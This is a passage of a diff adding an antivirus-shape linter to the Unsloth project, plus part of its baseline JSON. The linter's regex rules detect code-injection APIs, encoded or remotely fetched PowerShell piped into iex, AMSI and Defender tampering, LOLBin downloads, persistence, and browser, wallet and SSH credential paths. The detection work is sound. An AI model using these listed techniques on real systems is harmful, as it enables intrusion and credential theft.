"tests/studio/test_nvidia_python_probe_parity.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "4f1375ff0de6ae6a": 1,+ "e19e079900f6aec3": 1+ }+ },+ {+ "file": "tests/studio/test_path_probe_access_denied.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "4568f98b1ed68c3d": 1,+ "6a7b4d69f67d8b8a": 1,+ "f818ff4bb7c8d794": 1+ }+ },+ {+ "file": "tests/studio/test_playwright_server_lifecycle.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "9ecbacd6e0bc408f": 1+ }+ },+ {+ "file": "tests/studio/test_pwsh_calls_use_the_shared_runner.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "24e7228ee8e2eabb": 1+ }+ },+ {+ "file": "tests/studio/test_rdna1_unsupported_message_8529.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "d91b6a59134b5ee2": 1+ }+ },+ {+ "file": "tests/studio/test_setup_xpu_runtime_prereport.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "13cb166f9e45bfe2": 3+ }+ },+ {+ "file": "tests/studio/test_uninstall_arg_guard.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "08cf0e7814256026": 1+ }+ },+ {+ "file": "tests/studio/test_uninstall_dual_install_icon.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "ff8193f8bf6e2a38": 1+ }+ },+ {+ "file": "tests/studio/test_uninstall_legacy_layout_gate.ps1",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "224718ba7446930b": 1,+ "28258fa5a98ead49": 1,+ "6fdef93008e743d9": 1,+ "7a2a37be40495c64": 1+ }+ },+ {+ "file": "tests/studio/test_uninstall_legacy_layout_gate.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "ad2470208c8a6570": 2+ }+ },+ {+ "file": "tests/studio/test_uninstall_reparse_stop_roots.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "ad2470208c8a6570": 1+ }+ },+ {+ "file": "tests/studio/test_update_release_notes.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "c98cd551d4483b76": 1+ }+ },+ {+ "file": "tests/studio/test_windows_sac_probe.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "b1bbb98cc19c59b1": 1+ }+ },+ {+ "file": "tests/studio/test_windows_sac_probe.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "7d89fa0df467321d": 1,+ "a4083e2a30bc3f7e": 1+ }+ },+ {+ "file": "tests/studio/test_wsl_shortcut_script_is_valid_powershell.py",+ "rule": "AV003",+ "severity": "error",+ "reason": "Validates the install.sh WSL helper recorded above; goes with it.",+ "digests": {+ "14db729e0d1df21f": 1,+ "605726d25d6c74fe": 1,+ "611de8088070073f": 1,+ "8d7e802bd274b18c": 1,+ "9ba5999e0a404e34": 1,+ "9d08db7625c25e4b": 1,+ "a7adeb5fbb15c560": 1,+ "b0099be6101029bb": 1,+ "c4c5312af5715290": 1,+ "fbd34206a5c7c998": 1+ }+ },+ {+ "file": "tests/studio/test_xpu_arm64_torchaudio.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "6928788ed766447c": 1+ }+ },+ {+ "file": "tests/studio_setup_ps1/Get-FunctionSource.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "82bd0862ed827def": 1+ }+ },+ {+ "file": "tests/studio_setup_ps1/Studio.Setup.FastWrapperFlags.Tests.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "cd9e19e6cca8085a": 1+ }+ },+ {+ "file": "tests/studio_setup_ps1/Studio.Setup.FindInstalledUv.Tests.ps1",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "98500b4660a29f95": 1,+ "e91ee550d6e7c5b7": 1+ }+ },+ {+ "file": "tests/studio_setup_ps1/Studio.Setup.FindInstalledUv.Tests.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "cd9e19e6cca8085a": 1+ }+ },+ {+ "file": "tests/studio_setup_ps1/Studio.Setup.OfflineFastPath.Tests.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "cd9e19e6cca8085a": 1+ }+ },+ {+ "file": "tests/studio_setup_ps1/Studio.Setup.Output.Tests.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "cd9e19e6cca8085a": 1+ }+ },+ {+ "file": "tests/studio_setup_ps1/Studio.Setup.Vs2026.Tests.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "cd9e19e6cca8085a": 1+ }+ },+ {+ "file": "tests/test_dill_module_by_value_fix.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "1a82610110e43f25": 1+ }+ },+ {+ "file": "tests/test_installer_interactive_prompts.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "e0088200f374fd8d": 1+ }+ },+ {+ "file": "tests/test_installer_shortcut_icons.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "c14ad59739e692bd": 1,+ "e00ae7f2044ea036": 1+ }+ },+ {+ "file": "tests/test_managed_tools_master_root.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "043b711cf0d27d86": 1+ }+ },+ {+ "file": "unsloth_cli/commands/start.py",+ "rule": "AV005",+ "severity": "error",+ "reason": "`unsloth start` runs the agent vendor's own documented installer on request, after telling the user; the text is the vendor's command.",+ "digests": {+ "4b8d7b4895eacb82": 1,+ "c709a3f82ed292ba": 1+ }+ },+ {+ "file": "unsloth_cli/commands/start.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "32dcdde5a81b1349": 1,+ "36989551217b4940": 1,+ "71d2cf5b28f85920": 1,+ "97c95d05eeaf3469": 1,+ "a04e2c95fe12e205": 1+ }+ },+ {+ "file": "unsloth_cli/tests/test_start.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "0b44a6052fcbdd54": 1,+ "1d560fdaad498d85": 1,+ "228f9118c083eaa2": 1,+ "5721b6b5e35f3d1c": 1,+ "6d1f17e260f7df2e": 1,+ "dd104030c4deb1b9": 3,+ "f21a0d158613ea49": 4+ }+ },+ {+ "file": "unsloth_cli/tests/test_start.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "214a9790f7527b2d": 1,+ "a402cb480fcc420f": 1,+ "b42889c68eeb9142": 1,+ "de5f503917b35a1e": 1+ }+ },+ {+ "file": "unsloth_cli/tests/test_studio_update_verify.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "e24396689ede4f48": 1+ }+ }+ ]+}diff --git a/scripts/lint_av_shapes.py b/scripts/lint_av_shapes.pynew file mode 100644index 00000000000..6c5f0938c93--- /dev/null+++ b/scripts/lint_av_shapes.py@@ -0,0 +1,1216 @@+#!/usr/bin/env python3+# SPDX-License-Identifier: AGPL-3.0-only+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.+"""Fail CI when a change adds a code shape that heuristic scanners quarantine.++Every recent false positive on this repository came from our own files, not from+anything malicious: a test that wrote a PowerShell probe declaring a kernel32 import,+a supply-chain scanner whose credential-path list sat next to network code, reflection+emit in the installer, a System32 tool copied under another name, and a text file+named .exe that a test then started. tests/studio/test_installer_av_shapes.py pins+the shapes for the seven shipped installers; this gate carries the same idea to every+tracked script-bearing file, so the shape is caught at review time instead of on a+user's machine.++It matches shapes, not verdicts. It cannot predict what a vendor engine decides, and+it is not meant to: it catches the constructs those engines are known to score, says+why, and says what to write instead.++Existing sites are recorded in scripts/av_shapes_baseline.json, keyed on the matched+line's text rather than its number, with a count, so only new occurrences fail.+Errors in the baseline need a written reason; warnings never fail the build.++ python scripts/lint_av_shapes.py # check, exit 1 on a new error+ python scripts/lint_av_shapes.py --update # rewrite the baseline, keeping reasons+ python scripts/lint_av_shapes.py --self-test # prove every rule still fires+ python scripts/lint_av_shapes.py --paths a.ps1 b.py # just these files++A single line can be excused with `lint-allow: AV0NN <reason>` on it or on the line+above, except in the shipped installers, where only the baseline counts.++The trigger tokens below are assembled from fragments, the same way+scripts/scan_packages.py builds its signature strings, so this file does not itself+carry the shapes it looks for.+"""++from __future__ import annotations++import argparse+import hashlib+import json+import re+import subprocess+import sys+from dataclasses import dataclass, field+from pathlib import Path+from typing import Callable++REPO_ROOT = Path(__file__).resolve().parents[1]+BASELINE_PATH = Path(__file__).resolve().parent / "av_shapes_baseline.json"++SUFFIXES = (+ ".ps1", ".psm1", ".psd1", ".bat", ".cmd", ".sh", ".py",+ ".rs", ".js", ".mjs", ".cjs", ".ts", ".tsx", ".yml", ".yaml",+) # fmt: skip+POWERSHELL_LIKE = (".ps1", ".psm1", ".psd1", ".bat", ".cmd")+# Where a PowerShell launch or a Windows process start can be written: not the web frontend.+LAUNCHERS = POWERSHELL_LIKE + (".sh", ".py", ".rs", ".yml", ".yaml")+SHIPPED_INSTALLERS = frozenset(+ {+ "install.ps1",+ "install.sh",+ "studio/setup.ps1",+ "studio/setup.sh",+ "studio/setup.bat",+ "scripts/uninstall.ps1",+ "scripts/uninstall.sh",+ }+)+EXCLUDED_PARTS = frozenset({"node_modules", "vendor", "dist", "build", "__pycache__", ".git"})+EXCLUDED_PREFIXES = ("studio/backend/assets/docs_ui/",)+MAX_BYTES = 4_000_000 # minified bundles and generated blobs; nothing hand-written is this large++_J = "".join+++def _any(*words: str) -> str:+ return "(?:" + "|".join(words) + ")"+++# ---- trigger vocabulary, built from fragments -------------------------------------------------+_DLLIMPORT = _J(("Dll", "Import"))+_MEM_APIS = [+ _J(p)+ for p in (+ ("Virtual", "Alloc(?:Ex)?"),+ ("Virtual", "Protect(?:Ex)?"),+ ("Write", "Process", "Memory"),+ ("Create", "Remote", "Thread(?:Ex)?"),+ ("Nt", "Create", "Thread", "Ex"),+ ("Queue", "User", "APC"),+ ("Set", "Windows", "Hook", "Ex[AW]?"),+ ("Nt", "Unmap", "View", "Of", "Section"),+ )+]+_EMIT = [+ _J(p)+ for p in (+ ("Define", "Dynamic", "Assembly"),+ ("Define", "PInvoke", "Method"),+ (r"\b", "Type", "Builder", r"\b"),+ (r"\b", "Assembly", "Builder", r"\b"),+ )+]+_ENC_CMD = _J(("-Encoded", "Command"))+_FROM_B64 = _J(("From", "Base64", "String"))+_IEX = _any(_J(("i", "ex")), _J(("Invoke", "-Expression")))+_DOWNLOADERS = _any(+ _J(("i", "rm")), _J(("i", "wr")), _J(("Invoke", "-RestMethod")), _J(("Invoke", "-WebRequest")),+ _J(("Download", "String")), _J(("New", "-Object")),+) # fmt: skip+_TAMPER = [+ _J(p)+ for p in (+ ("amsi", "Init", "Failed"),+ ("Amsi", "Scan", "Buffer"),+ ("Amsi", "Utils"),+ # Changing a setting, not reading it, and not switching protection back on.+ (+ "Set",+ "-Mp",+ r"Preference\b[^\n]*-Disable\w*(?::\s*\$true|:\s*1\b|(?!\s+\$false)(?:\s+\$true|\s+1\b|\s*$|\s+`))",+ ),+ (r"(?:Add|Set)", "-Mp", r"Preference\b[^\n]*-Exclusion"),+ )+]+_HIDDEN = _J((r"-Window", r"Style(?:\s+|\s*:\s*)", "Hidden"))+_BYPASS = _J((r"-Execution", r"Policy(?:\s+|\s*:\s*)", "(?:By", "pass|Unre", "stricted)"))+_BYPASS_ARRAY = _J(+ (r"['\"]-Execution", r"Policy['\"]\s*,\s*['\"](?:By", "pass|Unre", r"stricted)['\"]")+)+# Product and profile names stay case-sensitive: "local state" and "local storage" are ordinary+# prose in the frontend. File paths are matched in any case, as Windows resolves them.+_CRED_NAMES = [+ _J(p)+ for p in (+ ("Login", " Data"),+ ("Local", " State"),+ ("Web", " Data"),+ (r"\bElec", r"trum\b"),+ (r"\bExo", r"dus\b"),+ ("Meta", "Mask"),+ (r"\bt", r"data\b"),+ ("Local", " Storage"),+ )+]+_CRED_MARKERS = [+ _J(p)+ for p in (+ ("wallet", r"\.dat"),+ (r"\bid_", r"(?:rsa|ed25519|ecdsa)\b"),+ ("key4", r"\.db"),+ ("logins", r"\.json"),+ (r"\.git-", "credentials"),+ ("/etc/", "shadow"),+ (r"\.(?:bit", "coin|ethe", "reum|sol", "ana|mon", r"ero)[/\\][A-Za-z_]{3,}"),+ ("key", r"store[/\\]UTC--"),+ (r"\bseed", r"\s*phrase\b"),+ (r"\bx", r"prv\b"),+ (r"\.aws[/\\]", "credentials"),+ (r"\.gnu", r"pg[/\\]"),+ )+]+_ENV_ACCESS = (+ r"os\.environ|getenv\(|process\.env|\$env:|%(?:LOCAL)?APPDATA%|expanduser\(|\$\{?HOME\b|~/\."+)+_NETWORK = (+ r"\brequests\.|urllib\.request|urlopen\(|http\.client|\bhttpx\.|socket\.socket|\bfetch\("+ r"|Invoke-WebRequest|Invoke-RestMethod|WebClient|aiohttp|^\s*(?:curl|wget)\s"+)+_SYSDIR = r"(?i)\b(?:System32|SysWOW64)\b"+_COPY_CALL = (+ r"(?i)(?<![\w.])copy(?:file|2)?\s*\(|shutil\.copy\w*\s*\(|\bCopy-Item\b"+ r"|\[(?:System\.)?IO\.File\]::Copy\s*\(|\bCopyFileW?\s*\(|fs::copy\s*\("+)+_SHELL_COPY = r"(?i)^\s*(?:cp|copy)\s"+_WRITE_CALL = r"(?:write_bytes|write_text)\((?P<args>[^\n]*)|Set-Content\b(?P<ps>[^\n]*)"+_NON_MZ_LITERAL = r"""(?<![\w'"])b?(['"])(?!MZ)[^'"\n]{0,80}\1"""+_STARTS_PROCESS = r"subprocess\.|Popen\(|run_pwsh\(|Start-Process\b|os\.startfile|run_step\("+_LOLBIN = [+ _J(p)+ for p in (+ (r"\bcert", r"util(?:\.exe)?['\"]?\s+[^\n]*-(?:url", "cache|de", "code)"),+ (r"\bbits", r"admin(?:\.exe)?['\"]?\s+/trans", "fer"),+ (r"\bms", r"hta(?:\.exe)?['\"]?\s+['\"]?(?:https?|vb", "script|java", "script):"),+ (r"\bregsvr", r"32(?:\.exe)?['\"]?\s+[^\n]*/i:\s*['\"]?https?:"),+ (r"\brun", r"dll32(?:\.exe)?['\"]?\s+java", "script:"),+ )+]+_PERSIST = [+ _J(p)+ for p in (+ (r"\bsch", r"tasks(?:\.exe)?\s+/create"),+ ("Register", "-Scheduled", "Task"),+ (r"Current", r"Version\\\\?Run\b"),+ ("shell:", "startup"),+ )+]+_OBFUSCATION = [+ r"-join\s*\[char\[\]\]",+ r"\[char\[\]\]\s*\(\s*\d+\s*,\s*\d+",+ r"-bxor\b",+ r"\b[A-Za-z]+`[A-Za-z]+-[A-Za-z`]+", # backtick-split cmdlet names+ r"[A-Za-z0-9+/]{200,}={0,2}", # an inline base64 blob+]+_VENDOR_PROSE = _any(+ r"\banti-?virus", r"\bAMSI\b", r"\bDefender\b", _J(("Bit", "defender")), r"\bevad(?:e|ing)\b",+ r"\bevasion\b", r"\bheuristic", r"\bquarantin", r"\bmalware\b",+) # fmt: skip++ALLOW_RE = re.compile(r"lint-allow:\s*(AV\d{3})\s+(\S.{8,})")+++@dataclass+class Finding:+ rule: str+ file: str+ line: int+ text: str+ severity: str++ @property+ def digest(self) -> str:+ return hashlib.sha256(" ".join(self.text.split()).encode()).hexdigest()[:16]+++@dataclass+class Rule:+ id: str+ severity: str+ what: str+ why: str+ fix: str+ applies: Callable[[str], bool] = lambda path: True+ line_patterns: list = field(default_factory = list)+ check: Callable | None = None # (path, lines, text) -> list[(line_no, severity)]+ comments_count: bool = True # scanners read comments too, so most rules do not skip them+ needles: tuple = () # lowercase substrings; a file holding none of them cannot match, so it is not scanned+++def _is_comment(line: str) -> bool:+ stripped = line.lstrip()+ return stripped.startswith(("#", "//", "::", "REM ", "rem ", "<#", "*", '"""', "'''"))+++def _window(+ lines: list[str],+ index: int,+ before: int,+ after: int = 0,+) -> list[str]:+ return lines[max(0, index - before) : index + after + 1]+++def _check_hidden_bypass(path, lines, text):+ hidden, bypass, array = (+ re.compile(_HIDDEN, re.I),+ re.compile(_BYPASS, re.I),+ re.compile(_BYPASS_ARRAY, re.I),+ )+ hidden_array = re.compile(r"(?i)['\"]-WindowStyle['\"]\s*,\s*['\"]Hidden['\"]")++ def joined(i: int) -> str:+ # An argv list formatted one element per line: `"-WindowStyle",` then `"Hidden",`.+ return " ".join(x.strip().strip(",").strip("'\"") for x in _window(lines, i, 3, 3))++ out = []+ for i, line in enumerate(lines):+ split_hidden = re.search(r"(?i)^\W*hidden\W*$", line) and hidden.search(joined(i))+ if not (hidden.search(line) or hidden_array.search(line) or split_hidden):+ continue+ near = _window(lines, i, 3, 3)+ if any(bypass.search(x) or array.search(x) for x in near) or bypass.search(joined(i)):+ out.append((i + 1, "error"))+ return out+++_ENC_LAUNCH = [+ re.compile(r"(?i)" + _ENC_CMD + r"\b"),+ re.compile(+ r"(?i)\b(?:powershell|pwsh)(?:\.exe)?\b[^\n]*\s-(?:ec|e(?:n(?:c(?:o(?:d(?:e(?:d(?:c(?:o(?:m(?:m(?:a(?:nd?)?)?)?)?)?)?)?)?)?)?)?)?)"+ r"[\s:]+['\"]?[A-Za-z0-9+/=]{16,}"+ ),+ # Decoded text piped into something that runs it; `| tar` or `> file` is data.+ re.compile(+ r"(?i)\bbase64\s+(?:-d|--decode)\b[^\n]*\|\s*(?:sudo\s+)?(?:(?:ba|z|da)?sh|python\d*|pwsh|powershell|node|perl|"+ + _IEX+ + r")\b"+ ),+]+_RUNS_TEXT = re.compile(+ r"(?i)\b" + _IEX + r"\b|\[scriptblock\]::Create|Reflection\.Assembly\]::Load|" + _ENC_CMD+)+++def _check_encoded(path, lines, text):+ from_b64 = re.compile(_FROM_B64, re.I)+ out = []+ for i, line in enumerate(lines):+ if any(p.search(line) for p in _ENC_LAUNCH):+ out.append((i + 1, "error"))+ elif from_b64.search(line):+ # Decoding a certificate or an archive is data; feeding the result to the engine is not.+ runs = any(_RUNS_TEXT.search(x) for x in _window(lines, i, 0, 3))+ out.append((i + 1, "error" if runs else "warn"))+ return out+++def _check_credentials(path, lines, text):+ if not re.search(_ENV_ACCESS, text, re.I) or not re.search(_NETWORK, text, re.I | re.M):+ return []+ markers = [re.compile(m) for m in _CRED_NAMES] + [re.compile(m, re.I) for m in _CRED_MARKERS]+ # Distinct credentials, not distinct patterns: id_rsa and id_ed25519 are two keys.+ present = {hit.group(0).lower() for m in markers for hit in m.finditer(text)}+ if not present:+ return []+ severity = "error" if len(present) >= 2 else "warn"+ out = []+ for i, line in enumerate(lines):+ if any(m.search(line) for m in markers):+ out.append((i + 1, severity))+ return out+++def _check_system_copy(path, lines, text):+ sysdir, copy_call, shell_copy = (+ re.compile(_SYSDIR),+ re.compile(_COPY_CALL),+ re.compile(_SHELL_COPY),+ )+ out = []+ for i, line in enumerate(lines):+ if _is_comment(line):+ continue+ is_copy = copy_call.search(line) or (+ path.endswith((".sh", ".yml", ".yaml") + POWERSHELL_LIKE) and shell_copy.search(line)+ )+ if not is_copy:+ continue+ # The source may sit on the lines after a call split across several.+ near = [x for x in _window(lines, i, 12, 3) if not _is_comment(x)]+ if any(sysdir.search(x) for x in near):+ out.append((i + 1, "error"))+ if path.endswith(".py"):+ out.extend(_system_copy_through_a_helper(text, sysdir))+ return sorted(set(out))+++def _system_copy_through_a_helper(text, sysdir):+ """A System32 path handed to a function of this file that copies its argument.++ The signing test did exactly this: the copy sat in a small helper and the System32+ path only appeared at the call site, far from any copy call.+ """+ import ast++ try:+ tree = ast.parse(text)+ except (SyntaxError, ValueError, RecursionError):+ return []+ copiers = set()+ for node in ast.walk(tree):+ if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)):+ for call in ast.walk(node):+ if isinstance(call, ast.Call):+ name = getattr(call.func, "attr", None) or getattr(call.func, "id", None) or ""+ if name in ("copy", "copy2", "copyfile", "copytree"):+ copiers.add(node.name)+ break+ out = []+ for node in ast.walk(tree):+ if isinstance(node, ast.Call) and getattr(node.func, "id", None) in copiers:+ segment = ast.get_source_segment(text, node) or ""+ if sysdir.search(segment):+ out.append((node.lineno, "error"))+ return out+++def _check_non_pe_exe(path, lines, text):+ # A PowerShell test dot-sources installer functions, and those do the starting.+ if not path.endswith(POWERSHELL_LIKE) and not re.search(_STARTS_PROCESS, text):+ return []+ write, literal = re.compile(_WRITE_CALL), re.compile(_NON_MZ_LITERAL)+ out = []+ for i, line in enumerate(lines):+ match = write.search(line)+ if not match:+ continue+ args = match.group("args") if match.group("args") is not None else match.group("ps")+ if not literal.search(args) or re.search(r"\bb?['\"]MZ", args):+ continue+ if re.search(r"(?i)\.exe\b", line) or any(+ re.search(r"(?i)\.exe['\"]", x) for x in _window(lines, i, 20)+ ):+ out.append((i + 1, "warn"))+ return out+++# Our own documented one-liner is printed and quoted all over the repository; it is the user's+# command to run, not something these files execute. Anything else piped into the engine is flagged.+_FIRST_PARTY = re.compile(+ r"(?i)https?://(?:(?:www\.)?unsloth\.ai|raw\.githubusercontent\.com/unslothai|github\.com/unslothai)/"+)+++def _inside_literal(line: str, position: int) -> bool:+ """Whether `position` falls inside a quoted string or backtick span on this line."""+ return any(line[:position].count(quote) % 2 for quote in ('"', "'", "`"))+++def _check_remote_exec(path, lines, text):+ piped = re.compile(r"(?i)(https?://[^\s|'\"`]+|\)|\$[\w:]+)['\"]?\s*(\|)\s*" + _IEX + r"\b")+ wrapped = re.compile(r"(?i)\b" + _IEX + r"\s*\(+\s*" + _DOWNLOADERS)+ # `irm <url> -UseBasicParsing | iex`: options between the download and the pipe.+ fetched = re.compile(+ r"(?i)\b"+ + _DOWNLOADERS+ + r"\s+(?:-\w+\s+)*['\"]?(?:https?://|\$)[^|\n]*(\|)\s*"+ + _IEX+ + r"\b"+ )+ out = []+ for i, line in enumerate(lines):+ # Only our own one-liner is excused, and only where it is text: a comment, or a+ # string that prints or quotes it. Executed, it is the same shape as anyone else's.+ quoted_doc = _is_comment(line)+ hit = False+ for match in piped.finditer(line):+ ours = _FIRST_PARTY.match(match.group(1)) is not None+ if not (ours and (quoted_doc or _inside_literal(line, match.start(2)))):+ hit = True+ for match in list(wrapped.finditer(line)) + list(fetched.finditer(line)):+ ours = _FIRST_PARTY.search(line) is not None+ if not (ours and (quoted_doc or _inside_literal(line, match.start()))):+ hit = True+ if hit:+ out.append((i + 1, "error"))+ return out+++def _check_vendor_prose(path, lines, text):+ prose = re.compile(_VENDOR_PROSE, re.I)+ return [+ (i + 1, "warn") for i, line in enumerate(lines) if _is_comment(line) and prose.search(line)+ ]+++RULES = [+ Rule(+ "AV001",+ "error",+ "declares a native Win32 import inside PowerShell / C# source (Add-Type with a native import attribute)",+ "a script that compiles C# and binds kernel32 at run time is how loaders are built, so it is scored on sight; "+ "a test probe with this one line was quarantined on real machines",+ "call the API from the Python or Rust host instead, or find the PowerShell / .NET equivalent; a test that needs "+ "the state should reach it from the harness, not from a script it writes to disk; a test that asserts the shape is absent should build the token from fragments (for example 'Define' + 'PInvokeMethod') so the test file does not carry it",+ needles = (_DLLIMPORT.lower(),),+ line_patterns = [+ r"\[\s*(?:System\.Runtime\.InteropServices\.)?" + _DLLIMPORT + r"(?:Attribute)?\s*\("+ ],+ ),+ Rule(+ "AV002",+ "error",+ "references a process-memory or thread-injection API",+ "allocating, writing or starting code in another process is the injection pattern itself",+ "an installer or test never needs these; remove the call; a test that asserts the shape is absent should build the token from fragments (for example 'Define' + 'PInvokeMethod') so the test file does not carry it",+ needles = tuple(+ _J(p)+ for p in (+ ("virtual", "alloc"),+ ("virtual", "protect"),+ ("process", "memory"),+ ("remote", "thread"),+ ("thread", "ex"),+ ("user", "apc"),+ ("windows", "hook"),+ ("unmap", "view"),+ )+ ),+ line_patterns = [r"\b" + _any(*_MEM_APIS) + r"\b"],+ ),+ Rule(+ "AV003",+ "error",+ "builds types at run time with reflection emit",+ "emitting assemblies and P/Invoke stubs in memory is scored like compiling them; it was removed from install.ps1 "+ "for exactly this reason",+ "use a cmdlet or an existing .NET API; if a native call is unavoidable, make it from the Rust or Python host; a test that asserts the shape is absent should build the token from fragments (for example 'Define' + 'PInvokeMethod') so the test file does not carry it",+ needles = tuple(+ _J(p)+ for p in (+ ("define", "dynamic"),+ ("pinvoke", "method"),+ ("type", "builder"),+ ("assembly", "builder"),+ )+ ),+ line_patterns = [_any(*_EMIT)],+ ),+ Rule(+ "AV004",+ "error",+ "passes an encoded or base64-decoded payload to an interpreter",+ "an encoded command hides what runs, which is the reason scanners treat it as a staged payload",+ "pass a script file or plain -Command text; decode data only as data; a test that asserts the shape is absent should build the token from fragments (for example 'Define' + 'PInvokeMethod') so the test file does not carry it",+ needles = (_ENC_CMD.lower(), "base64", "powershell", "pwsh"),+ applies = lambda p: p.endswith(LAUNCHERS),+ check = _check_encoded,+ ),+ Rule(+ "AV005",+ "error",+ "runs downloaded or string-built script text in-process",+ "remote text piped into the expression engine is the most heavily scored PowerShell construct there is",+ "download to a file, check a pinned digest, then run the file",+ needles = (_J(("i", "ex")), _J(("invoke", "-expression"))),+ check = _check_remote_exec,+ ),+ Rule(+ "AV006",+ "error",+ "touches a security product's settings or scan interface",+ "turning scanning off or reaching into its internals is defense evasion by definition",+ "remove it; never alter a security product from the installer or its tests; a test that asserts the shape is absent should build the token from fragments (for example 'Define' + 'PInvokeMethod') so the test file does not carry it",+ needles = (_J(("am", "si")), _J(("mp", "preference"))),+ line_patterns = [r"(?i)" + _any(*_TAMPER)],+ ),+ Rule(+ "AV007",+ "error",+ "pairs a hidden window with a bypassed execution policy",+ "that combination is the shape of a dropper launching its stage silently",+ "keep one: RemoteSigned with a visible or CREATE_NO_WINDOW spawn is enough",+ needles = ("hidden",),+ applies = lambda p: p.endswith(LAUNCHERS),+ check = _check_hidden_bypass,+ ),+ Rule(+ "AV008",+ "error",+ "keeps browser, wallet or key-store paths in the same file as environment and network access",+ "a file holding the paths a credential stealer reads, next to code that can reach the network, is what a "+ "stealer looks like; scripts/scan_packages.py was flagged for this",+ "build such strings at run time from fragments, or keep them in a data file away from network code",+ needles = tuple(+ _J(p)+ for p in (+ ("login", " data"),+ ("local", " state"),+ ("web", " data"),+ ("wallet", ".dat"),+ ("elec", "trum"),+ ("exo", "dus"),+ ("meta", "mask"),+ ("t", "data"),+ ("id_", "rsa"),+ ("key4", ".db"),+ ("logins", ".json"),+ ("local", " storage"),+ (".git-", "credentials"),+ ("/etc/", "shadow"),+ ("key", "store"),+ ("seed", " phrase"),+ ("x", "prv"),+ (".aws", ""),+ (".gnu", "pg"),+ ("id_", "ed25519"),+ ("id_", "ecdsa"),+ (".bit", "coin"),+ (".ethe", "reum"),+ (".sol", "ana"),+ (".mon", "ero"),+ )+ ),+ check = _check_credentials,+ ),+ Rule(+ "AV009",+ "error",+ "copies a Windows system binary",+ "a Microsoft-signed tool renamed to something else is a classic masquerading shape",+ "use tests/_shared/windows_console_stub.py, a pip-style launcher that runs anywhere and is not a system file",+ needles = ("system32", "syswow64"),+ check = _check_system_copy,+ ),+ Rule(+ "AV010",+ "warn",+ "writes non-PE bytes to a .exe path in a file that also starts processes",+ "if the file is ever started, Windows treats it as a DOS program and shows a modal "+ "'Unsupported 16-Bit Application' dialog on a desktop",+ "answer the loader's refusal without starting the file (see _windows_non_pe_is_refused_not_started in "+ "tests/studio/install/test_keep_install_backcompat_9979.py), or use the launcher stub for a real one",+ needles = (".exe",),+ applies = lambda p: p.endswith(LAUNCHERS),+ check = _check_non_pe_exe,+ ),+ Rule(+ "AV011",+ "error",+ "uses a built-in Windows tool to fetch, decode or run a payload",+ "these tools are the standard living-off-the-land download and execution chains",+ "use Invoke-WebRequest or curl to a file with a digest check",+ needles = tuple(+ _J(p)+ for p in (+ ("cert", "util"),+ ("bits", "admin"),+ ("ms", "hta"),+ ("regsvr", "32"),+ ("run", "dll32"),+ )+ ),+ line_patterns = [r"(?i)" + _any(*_LOLBIN)],+ ),+ Rule(+ "AV012",+ "warn",+ "creates a scheduled task, Run key or Startup entry",+ "silent persistence is scored even when the intent is benign",+ "prefer a foreground, user-initiated action; keep it out of the installer",+ needles = tuple(+ _J(p)+ for p in (+ ("sch", "tasks"),+ ("scheduled", "task"),+ ("current", "version"),+ ("shell:", "startup"),+ )+ ),+ line_patterns = [r"(?i)" + _any(*_PERSIST)],+ ),+ Rule(+ "AV013",+ "warn",+ "obfuscates PowerShell (char arrays, xor, backtick-split names or an inline base64 blob)",+ "obfuscation is scored because honest code has no reason to hide what it calls",+ "write the code plainly; ship binary data as a file, not an inline blob",+ applies = lambda p: p.endswith(POWERSHELL_LIKE),+ line_patterns = _OBFUSCATION,+ ),+ Rule(+ "AV014",+ "warn",+ "a comment in a shipped installer talks about scanners or detection",+ "the whole script, comments included, is classifier input; a scanner has quoted such a comment back as a reason "+ "for suspicion",+ "say what the code does in the script and keep the history in tests/studio/test_installer_av_shapes.py",+ applies = lambda p: p in SHIPPED_INSTALLERS,+ check = 